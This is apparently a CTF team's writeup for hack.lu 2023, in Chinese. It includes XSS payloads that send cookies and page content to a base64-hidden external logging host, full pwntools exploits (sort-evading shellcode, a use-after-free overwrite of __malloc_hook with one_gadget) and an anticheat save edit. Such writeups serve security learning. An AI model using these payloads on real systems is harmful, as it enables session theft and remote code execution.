hackluCTF 2023

UKFC 2023 hackluCTF Writeup

Crypto

Lucky Numbers

  • (2**(t-1))*(2**(t)-1) == s == sum(factor(s))
  • 因为 t < 42,直接构造所有可能即可

Web

encoding

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import base91
import binascii
import base64
import re


# 1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
# 2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
# 3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
# 4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
# 5.<script>eval("\141\154\145\162\164\050\061\051")</script>
# 6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>

def timu(text):
    if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0):
        result = text.encode()
    else:
        result = bytes.fromhex(text)
    encoded = base91.encode(result)
    return encoded


# data = based91.decode("<script>alert(1)</script>")
# data = based91.decode("<script>self[\"window\"][\"location\"]=atob(\"aHR0cDovL2JnYjVlaC5jZXllLmlvP2E9\")+self[\"document\"][\"cookie\"]</script>12")

base64_str = base64.b64encode("alert(1)".encode("utf-8")).decode()
print(base64_str)

# data = based91.decode("<script>self[\"document\"][\"location\"]=\"/\";a=self[\"document\"][\"getElementsByTagName\"](\"a\")[4][\"text\"];self[\"window\"][\"location\"]=\"/e/\"+a;flag=self[\"window\"][\"getElementsByClassName\"](\"subtitle\")[0][\"innerText\"];fetch(atob(\"aHR0cDovL2JnYjVlaC5jZXllLmlvP2E9\")+btoa(flag))</script>12")
data = base91.decode('<script>\
frame1=self["document"]["createElement"]("iframe");\
    self["frame1"]["src"]="/";\
    self["frame1"]["onload"]=()=>{\
        url=self["frame1"]["contentWindow"]["document"]["getElementsByTagName"]("a")[4]["text"];\
        frame2=self["document"]["createElement"]("iframe");\
        self["frame2"]["src"]="/e/"+url;\
        self["frame2"]["onload"]=()=>{\
            flag=self["frame2"]["contentWindow"]["document"]["getElementsByClassName"]("subtitle")[0]["innerHTML"];\
            self["document"]["location"]=atob("aHR0cDovL2JnYjVlaC5jZXllLmlvLz8=")+flag;\
        };\
        self["document"]["body"]["appendChild"](frame2);\
    };\
    self["document"]["body"]["appendChild"](frame1);\
</script>11\
')
print(data)
hex_data = binascii.hexlify(data).decode()
print(hex_data)

print(timu(hex_data))

Pwn

Destiny Numbers

漏洞审计

本题是一个直接执行 shellcode 的格式。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **p_lineptr; // rdi
  unsigned int v4; // ecx
  __int64 v5; // rax
  int i; // [rsp+1Ch] [rbp-24h]
  char *lineptr; // [rsp+20h] [rbp-20h] BYREF
  size_t n; // [rsp+28h] [rbp-18h] BYREF
  __ssize_t v10; // [rsp+30h] [rbp-10h]
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts("Welcome to Destiny Digits!");
  puts("I can get a glimpse of your destiny, but first I need your lucky numbers.");
  printf("What's your lucky number? ");
  digit_pos = 0LL;
  lineptr = 0LL;
  do
  {
    n = 0LL;
    p_lineptr = &lineptr;
    v10 = getline(&lineptr, &n, stdin);
    if ( v10 == -1 )
    {
      puts("Failed to read line from stdin");
      exit(-1);
    }
    if ( v10 > 0 && lineptr[v10 - 1] == 10 )
      lineptr[--v10] = 0;
    if ( !v10 )
      break;
    v4 = strtol(lineptr, 0LL, 10);
    v5 = digit_pos++;
    destiny_digits[v5] = v4;
    p_lineptr = (char **)"Got another one? ";
    printf("Got another one? ");
  }//输入最多0x7f个int类型的数字(无溢出漏洞,都会被转换成unsiged int)
  while ( (unsigned __int64)digit_pos <= 0x7F );
  if ( !digit_pos )
  {
    puts("You don't have any lucky numbers? That's unlucky!");
    exit(-1);
  }
  sort(p_lineptr);//排序,排序规则比较特殊一会会说
  puts("Here are your lucky numbers again, I even ordered them for you:");
  for ( i = 0; i < (unsigned __int64)digit_pos; ++i )
    printf("%u\n", destiny_digits[i]);
  puts(aNowLetSSeeWhat);
  peek_at_destiny(aNowLetSSeeWhat);//执行shellcode,固定存入将所有除rsp和rip以外寄存器全部清零的汇编语句
  return 0;
}

main 函数中主要是进行了读入,调用 sort 排序以及调用 shellcode 执行的函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 sort()
{
  unsigned int v1; // [rsp+4h] [rbp-2Ch] BYREF
  unsigned int v2; // [rsp+8h] [rbp-28h] BYREF
  int i; // [rsp+Ch] [rbp-24h]
  int j; // [rsp+10h] [rbp-20h]
  unsigned int k; // [rsp+14h] [rbp-1Ch]
  unsigned int *v6; // [rsp+18h] [rbp-18h]
  unsigned int *v7; // [rsp+20h] [rbp-10h]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  for ( i = 0; i < (unsigned __int64)digit_pos; ++i )
  {
    for ( j = i + 1; j < (unsigned __int64)digit_pos; ++j )
    {
      v1 = destiny_digits[i];
      v2 = destiny_digits[j];
      v6 = &v1;
      v7 = &v2;
      for ( k = 0; k <= 3; ++k )
      {
        if ( *((_BYTE *)v7 + (int)k) < *((_BYTE *)v6 + (int)k) )
        {
          destiny_digits[i] = v2;
          destiny_digits[j] = v1;
          break;
        }
        if ( *((_BYTE *)v6 + (int)k) < *((_BYTE *)v7 + (int)k) )
          break;
      }
    }
  }
  return v8 - __readfsqword(0x28u);
}

sort 排序机制

他是将每个输入的数字进行排序(类似冒泡排序),但是比较的机制是逐字节对比,而且是反过来(这个是在第一次写了还是被排乱了才理解到的。(从后面的字节到前面的字节)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
__int64 peek_at_destiny()
{
  _QWORD *v1; // [rsp+8h] [rbp-18h]

  v1 = mmap(0LL, 0x226uLL, 7, 34, -1, 0LL);
  if ( v1 == (_QWORD *)-1LL )
  {
    puts("Failed to allocate destiny memory");
    exit(-1);
  }
  *v1 = null_registers;
  v1[1] = 0x4DC0314DF631FF31LL;
  v1[2] = 0xDB314DD2314DC931LL;
  v1[3] = 0x314DED314DE4314DLL;
  *(_QWORD *)((char *)v1 + 30) = 0xED31FF314DF6314DLL;
  memcpy((char *)v1 + 38, destiny_digits, 0x200uLL);
  return ((__int64 (*)(void))v1)();
}

这个函数就是申请 wx 区域,然后把前面那一串机器码写上去(实际上就是 xor rax,rax;xor rbx,rbx 之类的),也就是前面说的把其他寄存器都清零,最后执行 jmp 到你的 shellcode 上。

直接讲思路:

因为要保证你的几个数是按他需求的顺序排布的,首先要尽量简短,其次要在其中插入 nop 或者其他指令来保证你的 shellcode 不会被他排好序(一个正常的 shellcode 是绝对不会符合他的要求的)

最重要的是,如果要调用 execve(’/bin/sh’,0,0)是不行的(我写出来过,当时 gdb 都运行了,显示传参是无误的,但没有执行)

所以说想了另一个简短的 shellcode,而且保证可以让你再写一次 shellcode(第二次直接用 shellcraft 的 shellcode 都行)也就是如下 shellcode:

1
2
3
4
5
6
mov rdx,0x4900
mov rsi,[rsp+0x10]
nop
nop
add rsi,0x3a
syscall

前五个就是给他的数字,从最后一位往前,能保证是顺序的。

这个 shellcode 就是再执行一次 read(这个 0x4900 是没有办法,必须得保证输入要求不被排乱才写的)最后其实应该有个 jmp,但是当时是因为我在 gdb 里面看到了 rsp+0x10 的位置储存了 rwx 位置的地址,所以说可以直接写到指定位置!连 jmp 都不需要了(栈就看我上面 gdb 那个图吧)

然后后面直接用 shellcraft 写的,shellcraft.sh 出手基本必 getshell

完整 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import
 *
context(log_level='debug',arch='amd64',os='linux')

#io=process('./destiny_digits')
io=remote('flu.xxx',10110)

#print(shellcraft.read(0,'r8',0x100))

print('sh',hex(u64(b'sh'.ljust(8,b'\x00'))))
#0x68732f6e69622f
shellcode=asm(
'''
mov rdx,0x4900
mov rsi,[rsp+0x10]
nop
nop
add rsi,0x3a
syscall
'''
)
shellcode=shellcode.ljust(28,b'\x00')

first=u32(shellcode[0:4])
print('first',hex(first))
second=u32(shellcode[4:8])
print('second',hex(second))
third=u32(shellcode[8:12])
print('third',hex(third))
fourth=u32(shellcode[12:16])
print('fourth',hex(fourth))
fifth=u32(shellcode[16:20])
print('fifth',hex(fifth))
sixth=u32(shellcode[20:24])
print('sixth',hex(sixth))
seventh=u32(shellcode[24:28])
print('seventh',hex(seventh))

io.sendline(str(first))
io.sendline(str(second))
io.sendline(str(third))
io.sendline(str(fourth))
io.sendline(str(fifth))
#io.sendline(str(sixth))
#io.sendlien(str(seventh))

#gdb.attach(io)
io.sendline()
io.recvuntil(b'for you:')
#io.interactive()

shellcode=shellcraft.open('/flag')
shellcode+=shellcraft.read(3,'r12',0x30)
shellcode+=shellcraft.write(1,'r12',0x30)
shellcode=shellcraft.sh()

io.send(asm(shellcode).ljust(0x4900,b'\x00'))

io.interactive()

取得 shell:

New House

一道菜单堆题

允许申请 8 个堆块 free 一次

开局会给一个基址 那么就不用考虑泄露了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
v3 = leak();
  printf("interesting in the ground: %p\n", v3);
unsigned __int64 __fastcall delete_room(__int64 a1)
{
  unsigned int v2; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( dword_404034 == 1 )
  {
    puts("you are not allowed to delete rooms anymore");
  }
  else
  {
    printf("roomnumber? ");
    __isoc99_scanf("%d", &v2);
    if ( state > v2 && <em>(32LL * v2 + a1 + 16) )
    {
</em>*      free(*(32LL * v2 + a1 + 16));
      ++dword_404034;
    }
    else
    {
      puts("roomnumber invalid");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

delete 函数 free 后未将指针置 0 存在 UAF 漏洞 又有 edit 函数 可直接构造 fakefastbin 打__malloc_hook

同时

onegadget 存在符合条件的 直接利用 获取 flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import*
p=remote('flu.xxx',10170)
#p=process("./new_house")
context.log_level='debug'
elf=ELF("new_house")
libc=elf.libc

def debug():
    gdb.attach(p)
    pause()

def cmd(idx):
    p.sendline(str(idx))

def create(name,size):
    cmd(1)
    p.sendlineafter("roomname? ",name)
    p.sendlineafter("ize? ",str(size))       

def delete(idx):
    cmd(2)
    p.sendlineafter("oomnumber? ",str(idx))     

def edit(idx,content):
    cmd(3)
    p.sendlineafter("umber? ",str(idx))     
    p.sendlineafter("he room? ",content)

p.recvuntil(b'0x')

base=int(p.recv(12),16)
print(hex(base))
malloc=base+libc.symbols["__malloc_hook"]-0x23
create(b'aaaa',0x18)
edit(0,b'a'*0x17)
create(b'aaaa',0x68)
create(b'aaaa',0x18)
delete(1)
edit(1,p64(malloc))
create(b'aaaa',0x68)
'''
0x40e36 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x40e8a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xde321 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
'''
#create(b'a'*0x13+p64(base+0x40e36),0x68)
create(b'fake',0x68)
edit(4,b'a'*0x13+p64(base+0x40e8a))

create(b'aaaa',0x18)

p.interactive()

Re

DOki Doki Anticheat

附件为 DDLC 的存档文件,谷歌得出其 C 盘存档位置,置换后打开存档

判断需要更改存档属性以绕过防作弊检测。另开一存档并提取数据与此存档进行比对,需要更改 Anticheat 属性。利用在线网站可以直接更改 https://www.saveeditonline.com/

将改过的存档覆盖,再次读取,即可得到 flag。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计